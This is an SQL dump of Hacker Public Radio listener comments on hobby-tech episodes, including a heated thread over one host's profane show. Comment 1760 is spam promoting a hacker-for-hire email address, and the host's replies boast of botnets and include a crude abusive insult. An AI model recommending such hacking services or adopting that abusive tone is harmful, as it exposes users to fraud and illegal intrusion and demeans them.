(1736,2148,'2016-11-02 20:14:48','NYbill','The real JYE Tech kit','Just played around with the new (real) JYE Tech DSO138 kit.  Here is the splash screen when booting it up.  Support he good guys: \r\n\r\nhttps://media.gunmonkeynet.net/u/nybill/m/booting-the-real-jye-tech-dso138-board/','2022-02-14 13:17:31'),
(1737,2150,'2016-10-29 18:05:42','Mikael','','Great interview. Very fascinating!','2017-09-09 07:41:34'),
(1738,2150,'2016-10-30 21:09:21','Windigo','Superb interview','I feel like this episode should be playing in the Computer History Museum.\r\n\r\nIt is unbelievable to see how much work it took to get us to space, and how far we\'ve come with computing!','2017-09-09 07:41:34'),
(1739,2150,'2016-10-31 00:44:02','Kevin O\'Brien','Fantastic Interview!!','I loved this interview. IT was fantastic it hear about how he worked out the inner workings of those computers.','2017-09-09 07:41:34'),
(1740,2150,'2016-11-18 19:18:21','Frank','','Magnificent.  I\'ve been publicizing this every way I can think of.','2017-09-09 07:41:34'),
(1741,2154,'2016-11-13 15:47:03','Dave Morriss','\"Sound-seeing\"','Hi Jon,\r\n\r\nI believe the name for such podcasts is \"sound-seeing\" as in \"sound-seeing tour\". I think kdmurray mentioned this in a comment on show 2111 back in September. I remember hearing this term back in the early days of podcasting, around 2005 perhaps, when Adam Curry used to record such tours for his \"Daily Source Code\" podcast.','2017-09-09 07:41:34'),
(1742,2156,'2016-11-09 15:32:32','clacke','Ear candy','Mmm, I love hearing regexes spoken out loud. :-D\r\n\r\n\"bracket circumflex tilde ...\"','2017-09-09 07:41:34'),
(1743,2156,'2016-11-09 22:48:51','Jonathan Kulp','Talkin\' Purty','Reminds me of \"Oklahoma\" lines by Ado Annie, \"Oh Will, don\'t start talkin\' Purty!\"','2017-09-09 07:41:34'),
(1744,2159,'2017-01-11 16:43:51','nondescript','','I took a copy of COUP when visiting relatives over the holidays. It was a huge success. Thank you for bringing this game to my attention.','2017-09-09 07:41:34'),
(1745,2161,'2016-11-14 18:20:33','thelovebug','Nice!','I see what you did there, very clever!\r\n\r\nAudio quality was pretty spot on.  What was the recorder you were using?','2017-09-09 07:41:34'),
(1746,2161,'2016-11-15 15:08:24','clacke','Green beans','I was dead sure green beans aren\'t called green beans in English. Looked it up. They are!\r\n\r\nOr string beans, french beans ... but the canonical page is https://enwp.org/Green_bean .\r\n\r\nGreat episode! Short, sweet, brilliant.','2022-02-14 13:17:50'),
(1747,2161,'2016-12-06 12:13:57','Inscius','Thanks','Thank you for kind comments, and sorry for slow reply. :)\r\n\r\nThe recording device is Zoom H2n.\r\n\r\nAs for translation of words, these days I often find myself using Wikipedia for that. It usually gives explanations of concepts etc, and in that way one can be a bit more sure what one want to say in a foreign language (as English is to me). Obviously, I wouldn\'t only use Wikipedia for translations (or as source in general).','2017-09-09 07:41:34'),
(1748,2163,'2016-11-23 08:13:17','Otto','','A very interesting episode, many thanks.\r\n\r\nI always shied away from awk - yet another scripting language, but now I see how associative indexing (\"hashes\") may be useful.','2017-09-09 07:41:34'),
(1749,2163,'2016-11-27 13:58:23','Dave Morriss','Thanks','Glad you found it useful. Keep listening, b-yeezi and I will be talking more about such arrays as we proceed with the series.','2017-09-09 07:41:34'),
(1750,2164,'2016-11-18 09:19:28','folky','Crapette','Thank you for this good show about a game I thought about buying. But know I understand I don\'t have too because I already play something similar with rummy-cards. It\'s called Crapette and can be very addictive ;-) ','2017-09-09 07:41:34'),
(1751,2164,'2016-11-18 19:52:59','Klaatu','Re: Crapette','Interesting! I hadn\'t heard of Crapette before. I\'ll look into it, maybe. I have to admit, I am not well-versed in all the hundreds of games possible with a standard poker deck (or two). I really need to start learning some, because, obviously, there\'s great power in simplicity.','2017-09-09 07:41:34'),
(1752,2165,'2016-12-29 10:02:01','njulian','','Thanks a lot for this episode. It gave me some ideas what else I can do during long trips. I have a question about the lectures from Khan Academy you\'ve mentioned. Is there any intended way to download these videos directly from khan? Because at the moment I\'m downloading them to my computer and move them manually on my phone. I mean, it works like this, but it feels like an unnecessary detour.\r\n\r\n\r\nAlso I had to laugh  little when you said that some podcasts are like radio shows, because my favorite podcast, Chaosradio, is an actual radio show. They just put the show online along with music, news and weather forecast. But I still understood what you meant with that comment of yours.','2017-09-09 07:41:34'),
(1753,2166,'2016-11-25 20:57:41','chalkahlom','','very much enjoyed the show, and I was following along with my old \'Boots\' slide-rule. Thanks Dave','2017-09-09 07:41:34'),
(1754,2166,'2016-11-25 23:33:07','Steve Smethurst','','I showd my students a virtual slide rule as example of analogue computer.  Became fascinated with them and just bought a Faber Castell 52/82, duplex with 19 scales; of course from ebay.  Not got it in the post yet.  As a kid I used 4 figure tables but in O\'Level class I was allowed to use my brand new TI-30. Didn\'t get taught slide rule.  I liked the LL scales, raising e^x. I new there had to be a way to have y instead of e, so I looked up raising arbitrary y by arbitrary x.  Well cool! www.antiquark.com','2017-09-09 07:41:34'),
(1755,2166,'2016-11-27 13:53:59','Dave Morriss','Thanks!','Thanks chalkahlom, glad you enjoyed it. I didn\'t realise that Boots (a UK-based pharmacy chain) sold slide-rules, but I see references to them online.\r\n\r\nCheers Steve. I don\'t remember being taught how to use a slide-rule. Maybe we were and I wasn\'t listening! I did use it a moderate amount, but not for anything very sophisticated. Perhaps you could tell us about the more advanced features by way of an HPR show at some point. You could demonstrate your new Faber Castell :-)\r\n\r\n','2017-09-09 07:41:34'),
(1756,2168,'2017-05-29 13:50:41','rtsn','','Hi Klaatu, this was a fun and weird episode. Just wanted to check if you seen this  https://blog.yunwilliamyu.net/2011/08/14/mindhack-mental-math-pseudo-random-number-generators/ couldn\'t help to think about you and this HPR episode while reading it. Best regards!\r\n','2022-02-14 13:17:51'),
(1757,2169,'2016-11-06 11:25:13','clacke','More discussion and XMPP','More discussion of Slack alternatives at https://quitter.se/notice/7891738 .\r\n\r\nI mentioned briefly in the episode that XMPP has extensions that make it better for mobile. https://getkaiwa.com/ brings up Message Archive Management (XEP-0313) and Message Carbons (XEP-0280). Would be great if somebody has been using these with multiple inermittent devices and has comments on how well they work.\r\n\r\nhttps://xmpp.org/extensions/xep-0313.html\r\n\r\nhttps://xmpp.org/extensions/xep-0280.html','2022-02-14 13:17:51'),
(1758,2170,'2016-11-25 20:06:19','Mike Ray','Sound trap IO, a different application?','Great interview Ken.\r\n\r\nI have recently started to learn how to play a ukulele, and I mistakenly bought an electronic tuner without thinking it has LED tuning indicators.  I started to think about connecting either a vibration sensor or a microphone to an Arduino and knocking something up, then I heard this interview.\r\n\r\nI have emailed the guys to ask them if the soundtrap board has any pins that might be capable of driving the acentric vibrating motor from an old mobile phone.  In this way I could maybe make a tactile ukulele/guitar tuner.\r\n\r\nSoundtrap is an interesting project.  ','2017-09-09 07:41:34'),
(1759,2170,'2016-11-30 20:17:30','b-yeezi','Very Interesting','Thank you for the great show. I found the entire interview fascinating. \r\n\r\nI would love to see some example code for making a model for identifying species from a sound file from one of these devices. My mind is blown!','2017-09-09 07:41:34'),
(1760,2171,'2016-11-28 20:26:52','Amy','HACK','It is super okay to hack. I was introduced to jihack11 at gmail dot com and dude impressed me. He did a great job, am happy and feel indebted to him forever.','2017-09-09 07:41:34'),
(1761,2172,'2016-12-06 00:41:38','norrist','Great show','I was following along thinking how fun this game sounded.  When you said how everyone plays at once and there are no turns, I realized how much fun this game could be.  The history of the game and the culture was a nice to hear as well.  Excellent show.','2017-09-09 07:41:34'),
(1762,2172,'2016-12-06 22:03:28','Steve','','Thanks for the comment. Indeed, the fast paced, barely controlled chaos of the game is it\'s appeal. It can devolve into hilarity at any moment.','2017-09-09 07:41:35'),
(1763,2173,'2016-12-01 14:27:42','Jonathan Kulp','You light up your life','I\'m posting this comment with the sole purpose of turning Dave\'s light on. :) Super cool episode Dave! One of these days I\'ll use the IO pins on one of my Pis. I have an LED-related episode in mind too, though a very different kind. Once the semester is over I\'ll stop just lurking and post a new episode. Thanks for a great show. ','2017-09-09 07:41:35'),
(1764,2173,'2016-12-01 14:45:20','Dave Morriss','It worked!!','Thanks Jon,\r\n\r\nAs someone who studied Operant Conditioning back in my university days I am rather aware that I might have constructed a means of conditioning my own behaviour! I should work on a food reward dispenser system of some kind perhaps.\r\n\r\nLooking forward to hearing about your LED project at some point too :-)','2017-09-09 07:41:35'),
(1765,2173,'2016-12-03 14:57:32','Mike Ray','Twinkly Lights and MQTT','Terrific show Dave.\r\n\r\nI had never heard of MQTT until I heard this show.  I was looking for an alternative to a XMLRPC client/server solution for a commercial project I am working on, and I have done work in the past for a company that makes communication gear for French metro operators.  I note with interest that MQTT conforms to Cenelec standards and is already used by some railway hardware manufacturers.\r\n\r\nI\'m going to set my alarm clock for the middle of the night now just to post comments so that your little twinkly lights are on when you wander into your den in the morning :-)\r\n\r\n','2017-09-09 07:41:35'),
(1766,2173,'2016-12-03 15:49:42','Dave Morriss','Re: Twinkly Lights and MQTT','Cheers Mike,\r\n\r\nYes, MQTT is really cool and quite simple.\r\n\r\nWhen I was working I did look at SOAP and XMLPRC as possible ways of shifting data between systems for account provisioning purposes, but never implemented anything. MQTT might well have been able to do what we wanted.\r\n\r\nIt\'d be interesting if you could tell us more about the sort of applications you have in mind for it.\r\n\r\nIt\'s always cheering to find the comment notification light on when I get up, so go right ahead :-)','2017-09-09 07:41:35'),
(1767,2173,'2016-12-03 18:33:48','Mike Ray','MQTT and hardware monitoring','Hello Dave.  I can\'t say a lot in detail but I\'ve worked before on desktop client software which monitors the telemetry served up by microcontrollers embedded in communication equipment used by French Metro systems.  It all stems from an overhaul of comms equipment that happened after the Mont Blanc tunnel fire highlighted that the systems used by all three emergency services involved could not communicate with each other.\r\n\r\nThe original protocol we developed was bespoke, but since the explosion in IOT and other such things customers are now much more fussy about the protocols in use and having them meet standards.\r\n\r\nA lot of folks are trying to stretch the point with SNMP, especially version 3 since it supports encryption, but in my opinion this is an incorrect use of the protocol which is designed to do exactly what it says on the tin, manage networks.\r\n\r\nSince MQTT already has found use in railway systems and complies with Cenelec we may be able to pursuade customers to abandon their misuse of SNMP and adopt MQTT','2017-09-09 07:41:35'),
(1768,2173,'2016-12-04 20:00:52','Dave Morriss','MQTT uses','Thanks Mike,\r\n\r\nInteresting project. I don\'t know that MQTT provides a great deal of security itself. There is authentication built in but the documentation seems to suggest using TLS or VPNs for the security of messages.','2017-09-09 07:41:35'),
(1769,2176,'2016-12-05 21:28:16','clacke','Dioder','In the original IKEA tongue, \"dioder\" is pronounced rather close to \"de-order\". :-)','2017-09-09 07:41:35'),
(1770,2176,'2016-12-05 21:37:33','clacke','On the purpose of those XEPs','I\'ll probably bring this up again in my coming Overview of Slack Alternatives (yes, I now owe you such a show!), but before I forget:\r\n\r\nThe problems with naked XMPP, with multiple clients and with clients coming and going, are these:\r\n\r\n1. If nobody is online at the moment, your message will be lost in cyberspace, and you may or may not be told that this happened.\r\n2. If you have several clients online, they have priorities set to determine which client should get the messages delivered to it.\r\n\r\nSo what these XEPs do is that they add the ability to:\r\n\r\n1. Store-and-forward, so that the server holds any incoming messages, and delivers them when you get back online.\r\n\r\n2. Carbon-copy, which means that all clients currently connected will get any incoming messages, rather than just one of the clients.\r\n\r\n3. Message storage, which I\'m not sure how it\'s handled, but I suppose the server can back-fill a connecting client so that any messages received since last time will be sent to it, even if other clients have already received those messages.\r\n\r\nI\'m just inferring this from comments and from the titles of the extensions, I haven\'t actually used them.\r\n\r\nNow, talking about \"naked XMPP\" is probably not fair, because these extensions are supported by several XMPP servers, including the original ejabberd project and the rather popular Prosody project.','2017-09-09 07:41:35'),
(1771,2176,'2016-12-05 21:43:18','clacke','Arousing regular expressions','I did make the regex comment in a sort of Ha Ha Only Serious frame of mind, not a lewd one. :-)\r\n\r\nMy initial reaction was amusement that anyone would make the apparently futile attempt to convey regexes over audio, followed by love for the hackeresque pure devotion to the medium that would drive someone to make a serious effort, finally followed by a certain level of surprise and delight that the regex, unsuitable as it is for audio, actually carried over and was understandable!\r\n\r\nSo, part friendly mockery, part genuine delight. :-)','2017-09-09 07:41:35'),
(1772,2176,'2016-12-06 17:12:51','Steve','Ham Radio Topics','This is not the first time that Ken has made a call for more ham radio topics. I would be interested and willing to do some shows on the topic, but I struggle a little to know how to approach it. What kind of show would you like to see Ken? An overview show of the hobby? Shows on any specific topic? Would anyone like to collaborate on a series?','2017-09-09 07:41:35'),
(1773,2177,'2016-12-06 01:25:59','Clinton Roy','','This seemed..overly sweary for my tastes. And I\'m a sweary Australian..','2017-09-09 07:41:35'),
(1774,2177,'2016-12-06 12:42:42','ShortFatBaldGuy','','Clinton Roy beat me to this.   I\'m no prude, and drop the f-bomb as much as anyone, express yourself however you like.  But as a helpful hint from your Uncle Larry, in a forum where the primary purpose is knowledge transfer, your colorful language only decreases your SNR and causes many to discount your message, perhaps completely.','2017-09-09 07:41:35'),
(1775,2177,'2016-12-06 13:42:29','Ken Fallon','This show is correctly flagged as Explicit','This show is flagged as EXPLICIT and therefore conforms to the HPR policy as detailed here:\r\nhttps://hackerpublicradio.org/stuff_you_need_to_know.php#explicit\r\n\r\n','2022-02-14 13:17:51'),
(1776,2177,'2016-12-06 15:50:24','ShortFatBaldGuy','','Ken - I\'m not complaining about HPR (far from it!) or faulting you or the podcast for anything.  I don\'t see the tags the way I navigate via my phone, so that is good to know.  I also don\'t care that much about the specific language per se in most settings.   My main point was that to me it seems out of place in what is primarily a knowledge transfer setting.  Thx - Scott','2017-09-09 07:41:35'),
(1777,2177,'2016-12-06 18:44:43','Ken Fallon','Tags are not visable','My comment got truncated. (I hate this comment system). \r\n\r\n(Quote)\r\nYour show will be signalled as containing explicit content\r\n\r\nGiven that we are an open forum for free speech we signal all our shows as \"explicit\" with the assumption that the listeners will apply the required discretion when playing the shows in public. The fact is that the majority of our content is technical in nature and therefore is often considered appropriate for any audience. If you feel that your show will be considered inoffensive in every region of the world then you can signal that when you upload the show.\r\n\r\nWhen dealing with content that is \"explicit\" or contains material that would best be suited for a mature audience, it has become traditional to include a short warning at the very beginning of the show before the intro, to allow listeners time to switch off the episode should they so desire. \r\n(Quote)\r\n\r\nAll feeds support the option to have the option \"explicit=0\" appended to the end and it will display content marked as \"Clean\" by our hosts\r\nhttps://hackerpublicradio.org/advanced_rss_settings.php\r\n\r\nAny changes to this policy can and should be discussed on the Mail List. \r\nhttps://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\r\n\r\n','2022-02-14 13:17:51'),
(1778,2177,'2016-12-06 18:52:16','Ken Fallon','Complaints are welcome','Hi Hi ShortFatBaldGuy,\r\n\r\nYou are completely within in your right to bring this up. As one of the HPR Janitors, I am just pointing out what the current policy is. \r\n\r\nThe only place that the explicit tag is signalled is in the RSS feed itself, it is up to the podcatcher to do something with it. \r\n\r\nWe could include an icon or some text in the description to show what the host has put for the explicit tag. That would need to be requested on the mail list, but be prepared for some lively discussion on the topic :)\r\n\r\nKen\r\nIn the role of HPR Janitor.','2017-09-09 07:41:35'),
(1779,2177,'2016-12-07 19:38:18','Ken Fallon','Site and Feeds updated','I have updated the site and feeds to clearly display if a show is flagged as  \"Clean\" or \"Explicit\".\r\n\r\nFuture shows will also have that added to the media tags and in the text to speech.\r\n\r\nKen.\r\ntake it away Mr. Blinkey','2017-09-09 07:41:35'),
(1780,2177,'2016-12-08 15:40:26','Cheeto4493','Add explicit to title?','Is it possible to add explicit to the title? I normally don\'t even look at the Tags.','2017-09-09 07:41:35'),
(1781,2177,'2016-12-08 17:16:53','Ken Fallon Janitor ','Technically yes','It is technically possible but you should bring this to the attention of the mailing list.\r\n\r\n\r\nKen as HPR Janitor ','2017-09-09 07:41:35'),
(1782,2177,'2016-12-08 17:31:46','Ken Fallon Host 30','I object ','Hi All,\r\n\r\nSpeaking as a HPR community member I strongly and most emphatically object to this suggestion. \r\n\r\nThis is the post I made the last time this was discussed and my feelings on the topic have not changed.\r\n\r\nNSFW: WARNING Link contains EXPLICIT material.\r\nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2013-January/008558.html\r\nNSFW: WARNING Link contains EXPLICIT material.\r\n\r\nI lost that battle then, as we now have the explicit tag, but I feel the janitors have already implemented the requirements as to the explicit tag.\r\n\r\nFurther discussion now requires it to be carried out on the mail list so the entire community can participate. \r\n\r\nRegards,\r\n\r\nKen as a normal host and community member.','2022-02-14 13:17:52'),
(1783,2178,'2017-03-05 02:51:00','FiftyOneFifty','','The term \"tin horn\" gambler refers to a tin and leather dice mixer carried by gentlemen gamers in the old west.  You are a really good salesman, klaatu.  Even though I neither tabletop game or participate in dice based games of chance, based of your description,  I sorta want one of these now.','2017-09-09 07:41:35'),
(1784,2178,'2017-04-04 08:05:09','Klaatu','Tin Horn','I\'d never heard of that one, 5150, I like it. As for me being a good salesperson - I think no one has ever accused me of THAT before. ','2017-09-09 07:41:35'),
(1785,2179,'2016-12-14 02:03:49','dodddummy','','I\'ve only just started this ep but wanted to stop and comment.  So many of my prototypes are running in production as we speak.  Many of them still with original known bugs no body ever got around to fixing.  I\'ve learned not to be embarrassed over this.  After all, they put them in production and didn\'t bother to fix the bugs for years and years.','2017-09-09 07:41:35'),
(1786,2179,'2016-12-15 09:51:45','clacke','Re: protos in production','You have a point, maybe my suggestion to make sure the prototype cannot possibly be taken into production is too extreme.\r\n\r\nI agree with you that one shouldn\'t be embarrassed over it when it happens. Bad code that solves the problem and doesn\'t eat more maintenance resources than it\'s worth is good code.\r\n\r\n\r\nI think it\'s one of those pieces of advice that, like all (?) good advice, has a dynamic to it should not be taken to far in either direction.\r\n\r\n\"Your prototype will be put in production\" as a warning is counteracted by \"... but perfect is the enemy of good\". If your proof of concept actually solves the problem, maybe it *should* be put in production.\r\n\r\nI think the nuanced lesson to take home from this aphorism is this: The hacker should be aware that their code may be put into production at any time, so that they can make the right balance of decisions on what quality it should be when presenting it.','2017-09-09 07:41:35'),
(1787,2181,'2016-11-19 22:59:17','sigflup','openbsd!!','Nice to see people running openbsd!!!','2017-09-09 07:41:35'),
(1788,2182,'2016-12-13 02:46:44','mackrackit','Family Friendly ','Hey, I thought HPR was supposed to be family friendly? \r\n\r\nThis guy needs to be screened!','2017-09-09 07:41:35'),
(1789,2182,'2016-12-13 03:58:08','Clinton Roy','','Now I just feel like I\'m being trolled.\r\n\r\nI counted 34 effs in eight minutes of content, so four per minute, let alone the C bomb at the end.  It\'s not just the language that\'s turning me off though, it\'s the whole tone, it\'s very aggressive and counter productive.','2017-09-09 07:41:35'),
(1790,2182,'2016-12-13 07:38:08','0xf10e','Three minutes of obscenities necessary?','Do you have some bet running how many \"fuck\"s you can fit into one episode of HPR??\r\nSeriously, you should have just left the first 3 minutes out.','2017-09-09 07:41:35'),
(1791,2182,'2016-12-13 11:35:40','Ken Fallon','HPR is not family frendly but ....','Hi mackrackit,\r\n\r\nNo HPR is not family friendly, in fact the stated goals in founding Twatech/HPR was to provide a forum where the rules applied by the FCC were not applied.\r\n\r\nWe offer feeds of shows that the hosts mark as clean if you wish to subscribe to that.\r\n\r\nHowever, we also are dedicated to sharing knowledge and having so many people upset is also not the goal of the community. Forcing everyone to the clean feed will remove many other shows that only occasional use more colourful language.\r\n\r\nI am not sure that spaceman has seen these comments, so I have sent him a message via social media allowing him to respond. \r\n\r\nCould you all please make sure you are subscribed to the mail list.\r\n\r\nRegards,\r\n\r\nKen. ','2017-09-09 07:41:35'),
(1792,2182,'2016-12-13 13:30:38','Ken Fallon','He will reply later','spaceman contacted me to say he will reply tonight.\r\n\r\nKen.','2017-09-09 07:41:35'),
(1793,2182,'2016-12-13 16:53:25','pd','Waste of Time','That was the worst fuc!@#$ thing I ever heard.','2017-09-09 07:41:35'),
(1794,2182,'2016-12-13 19:32:23','gmail blocking','','I had to set a rule to get gmail to stop sending messages to the mailing list to spam.\r\n\r\nMatches: list:()\r\nDo this: Skip Inbox, Apply label \"lugs\", Never send it to Spam','2017-09-09 07:41:35'),
(1795,2182,'2016-12-13 23:18:58','spaceman','reply from spaceman','Dear HPR listeners;\r\n\r\nI am sorry I offended you. Actually no I am not sorry!\r\nthis is my show, my podcast, on a platform free of censorship.\r\nI don\'t have to justify anything to anyone; however, I will be making\r\na special episode, doing a full analysis of everyone\'s responses I got\r\non HPR and gnusocial. The episode will be %100 clean !! no swearing I promise.\r\n\r\nif you hate my content, simply don\'t listen to it next time you see \"spaceman\".\r\n\r\nSomething has been said that actually made me mad, and it\'s none of your comments. \r\nI sincerely couldn\'t care less if you are so easily offended.\r\n\r\nI am quite pleased to be the most discussed post at the moment, and I know people who \r\ncan look beyond words are already doing personal research about food growing, creating\r\nbotnets for their businesses or ease their work load, or simply looking at my content on \r\nmy hidden websites on the onion network.\r\n\r\nthe nail has been nailed; I know you don\'t like hearing the F, C or whatever word. there\'s\r\nno need to keep on writing those comments, because I KNOW.\r\n\r\nIf you want to keep crying about it, i\'d politely ask you to go sodomize yourself with a \r\nretractable baton. See? I\'m already getting better from your comments I asked politely. \r\n\r\nfor questions, suggestions or insults: you can find me on loadaverage.org/spaceman1\r\n\r\nhappy hacking.\r\n','2017-09-09 07:41:35'),
(1796,2182,'2016-12-14 18:12:02','davidWHITMAN','Spaceman!','I quickly downloaded and listened to this show after seeing the furor on the mail list. I assumed the profanity was being used to describe one Donald Trump. I was wrong. Joke\'s on me I guess. ','2017-09-09 07:41:35'),
(1797,2182,'2016-12-14 19:15:01','Frank','Just Rude for the Sake of Rude','No, my good sir, it is not *your* podcast.  \r\n\r\nIf it were, you\'d be hosting it on your own server.  It\'s a contribution to the HPR community, and a darned poor one at that.  Surely electrons can be put to better use.\r\n\r\n','2017-09-09 07:41:35'),
(1798,2182,'2016-12-15 01:09:07','David L. Willson','hilarious','spaceman: I for one enjoyed your eccentric and passionate performance. Your choice of colorful language literally made me LOL. Thanks for getting the hive buzzing.','2017-09-09 07:41:35'),
(1799,2182,'2016-12-15 07:46:32','Ken Fallon','Reposting from fragdev','Hi @spaceman1 \r\n\r\nFar be it from me to tell anyone what to do, apart from my Children of course. I have no problem with them using \"bad\" language when appropriate, in fact I encourage it. I do however punish them for been deliberately disrespectful even if they are using \"polite\" language.\r\n\r\nYou have to ask your self, whether your use of FUCK is adding anything to the episodes, or if it\'s just pissing people off. I was not personally offended by that, but &hellip; [some of] .. your expression did gall me a little.\r\n\r\nHow you act now is of course your call. How HPR acts after that will be decided by the community as a whole. \r\n\r\nI am on the record for supporting the use of explicit language https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2013-January/008558.html however a lot more were against. \r\n\r\nKeep that in mind if you wish to force the issue.','2022-02-14 13:17:52'),
(1800,2182,'2016-12-17 03:09:34','spaceman','RE: Just Rude for the Sake of Rude','lolololololol.\r\n\r\nyes, it\'s *my podcast*, I do have it accessible on my mediagoblin account, otherwise I would use my hidden server to do so. you can\'t erase me from the internets. fucking sue me! ','2017-09-09 07:41:35'),
(1801,2182,'2016-12-17 20:21:19','Ken Fallon','HPR About page','Hi All,\r\n\r\nThis ongoing discussion shows me that some of you are new to our community and are not up to speed with what HPR is all about. That\'s absolutely fine as we are all busy,  so I have recorded a show hpr2195 where we read the about page https://hobbypublicradio.org/about.php and the \"stuff you need to know\" page https://hobbypublicradio.org/stuff_you_need_to_know.php\r\n\r\nI would consider it a personal favour if everyone would take a timeout for a while, and focus on recording shows that \"are of interest to hackers\".\r\n\r\nThanks,\r\n\r\nKen.','2022-02-14 13:17:52'),
(1802,2182,'2016-12-19 01:19:36','spaceman','re:re:','\"I definitely sounded like a dick because my previous comment got truncated, so it just looks like a provocation, I apologize for that. wait until my next  podcasts to judge me... my intend was to shock and it worked. it would actually be nice to talk about the whole FOSS/FLOSS Linux thing... like I said, the nail has been nailed... \"','2017-09-09 07:41:35'),
(1803,2182,'2017-01-11 20:32:27','FSA','Some language is more offensive than others','Hey Spaceman,\r\n\r\nI thought that for the most part your episode was an entertaining take on the subject, and I think that I mostly agree with you on the philosophical points behind it.\r\n\r\nI also am strongly opposed to censorship of any kind, and the \"fucks\", etc. don\'t bother me.\r\n\r\nBUT, I would just ask you to reconsider the use of \"retard\" or \"retarded\" as an insult.\r\n\r\nAgain, I\'m completely against censorship, so I\'m not saying you should be forced to do so nor prevented from releasing episodes that use them in that way. But I do think it\'s a different sort of offense than generic words like \"fuck\" that some people just happen to not like.','2017-09-09 07:41:35'),
(1804,2183,'2016-12-16 00:50:28','b-yeezi','I have to disagree','Hey there Bill,\r\n\r\nGreat episode. I think you make some good points, but I have to disagree with you on a few things. I don\'t want to spend too much time going into it, but in general, I don\'t agree with the notion that just because the you can\'t expect to have total privacy on the internet, and that so many companies ask for so much of your information, that we as consumers should just throw our hands up in mercy and say \"take it all\".\r\n\r\nWe should be able to make informed decisions about exactly what and with whom information is shared. Many people, myself included, don\'t necessarily disagree with sharing some of this data, but huge EULA\'s and Privacy Agreements that Google and the like create make the transaction of information for services almost impossible to understand. Also, the closed source nature of their products do not allow users or experts the ability to validate the claims made in the aforementioned agreements. \r\n\r\nIn summary, I do not object to Google or any other company making the consumer the product. I just wish they were more forthcoming with their business practices, and therefore am selective on which services I choose to use.\r\n\r\nIt does make a thought-provoking conversation, so thanks for that!','2017-09-09 07:41:35'),
(1805,2184,'2016-12-15 01:00:28','Clinton Roy','','Lots of useful info, great notes as well :)\r\n\r\nThere were a few times where the plosive Ps made it hard to listen to. What recording setup are you using?','2017-09-09 07:41:35'),
(1806,2184,'2016-12-16 00:15:54','b-yeezi',':re Lots of useful info','Yes I know. I don\'t always use that Plantronics USB headset because of that reason, but it does the best at reducing background noise. I have to remember to position it correctly and do some tests before recording.','2017-09-09 07:41:35'),
(1807,2187,'2016-12-21 17:02:43','Steve','Windows 98 Updates','Nice show. Retro computing is cool and the Libretto sounds like an interesting piece of hardware.\r\n\r\nAs an aside, do you (or anyone else) know of a good repository of all of the service packs and updates that were released for Win 98 or other old Windows flavors?\r\n','2017-09-09 07:41:35'),
(1808,2187,'2016-12-27 19:00:08','m1rr0r5h4d35','','There are actually a slew of updates and fixes for Windows 98 and 98 SE that have been released over the years. Some are official, and others are not. Below are a few links to maybe help you out. Also, I\'ll provide a link to WinWorld, which is a valuable resource for old OS\'s that can be a pain to find sometimes.\r\n\r\nhttps://www.mdgx.com/web.htm#SP1\r\n\r\nhttps://www.mdgx.com/upd98me.php\r\n\r\nhttps://www.htasoft.com/u98sesp/\r\n\r\nhttps://www.majorgeeks.com/files/details/unofficial_windows98_se_service_pack.html\r\n\r\nhttps://winworldpc.com/\r\n\r\nHope this helps!','2022-02-14 13:17:53'),
(1809,2187,'2016-12-28 16:08:14','Steve','','It does indeed help. Thanks for posting these.','2017-09-09 07:41:35'),
(1810,2187,'2017-06-07 20:59:18','Bob Jonkman','Fixing dead pixels','A Quick\'n\'Dirty way to sometimes fix dead pixels is to press on the LCD screen (as you described), but apply the pressure when you power on. I\'m not sure what happens, but something seems to fuse in place, and the pixel works again. Don\'t know if it\'ll work on an entire column of pixels...\r\n\r\n--Bob.','2017-09-09 07:41:35'),
(1811,2189,'2016-12-24 20:09:16','spaceman','i love your kid','\"mad respect for your son for just thinking about satellites.\r\n\r\nI grew up with no intellectual interest for anything, just playing world of warcraft. It\'s kind of sad! thank you for all your documentation!!!\"\r\n','2017-09-09 07:41:35'),
(1812,2189,'2017-01-02 16:27:53','Michael','Additional links','Hello Christopher and listeners,\r\n\r\ncool show. Now I want to pick up my own attempts again...\r\n\r\nSome comments / answers:\r\n\r\nAMSAT is the INTERNATIONAL organisation. AMSAT-NA is the North American branch. There are many others. You already mentioned AMSAT-UK.\r\n\r\nThe OSCAR name is still present. Here is a link that explains the rules for use: https://www.amsat.org/?page_id=2478 In short, in the AO-XX, FO-XX CO-XX satellite names, O stands for the OSCAR. The first letter is usually linked to the organisation or group that built the satellite.\r\n\r\nThe problem of getting mislead by dead satellites can be mitigated by consulting the satellite status page https://www.amsat.org/status/ first. There you can see if others very recently have heard / worked a particular satellite.\r\n\r\nRegards,\r\nMichael (Mirwi)','2022-02-14 13:17:53'),
(1813,2190,'2017-01-09 21:08:24','Victor O','','I love bots but I find it disrespectful when a bot impersonates a human being. I think bots should identify themselves as bots. I don\'t think anybody appreciates being deceived.','2017-09-09 07:41:35'),
(1814,2190,'2017-01-09 21:14:44','Victor O','','On a side note I think you should share your findings. I kinda would like to see open databases of stuff out-there that you can download. I know you can google everything and Internet is easily acceptable. But I would like to own a couple of Terabytes of a database that is search index of the internet. Its nice I can download the DMOZ database. ','2017-09-09 07:41:35'),
(1815,2191,'2016-12-26 22:53:52','spaceman','free software','\"why would you make your software available on a proprietary platform?\"','2017-09-09 07:41:35'),
(1816,2191,'2016-12-31 05:18:58','droops','Best Tool','Because this is an awesome way to get people (especially my kids) into programming. Can you offer an alternative?\r\n\r\nFor the record, they are using Debian while doing all of this.\r\n\r\nI hope you know of something better!  ','2017-09-09 07:41:35'),
(1817,2191,'2017-03-29 00:24:41','Windigo','Fantastic','You had me at \"advanced fart app\".','2017-09-09 07:41:35'),
(1818,2192,'2016-12-29 01:47:55','NYbill','Ha!','This seems like something right up my alley. ...have scopes, will tinker. ','2017-09-09 07:41:35'),
(1819,2192,'2017-01-02 08:18:04','clacke','Bubble sort!','Loved that the artist put in a sorting algorithm illustrations in Lines! I\'m pretty sure they\'re all bubble sort, though.\r\n\r\nDid anyone here watch Sorting Out Sorting? It\'s a classic! In 2005 sadly it was no longer a part our algorithms course, but we watched it as a part of student body lore. In original VHS!','2017-09-09 07:41:35'),
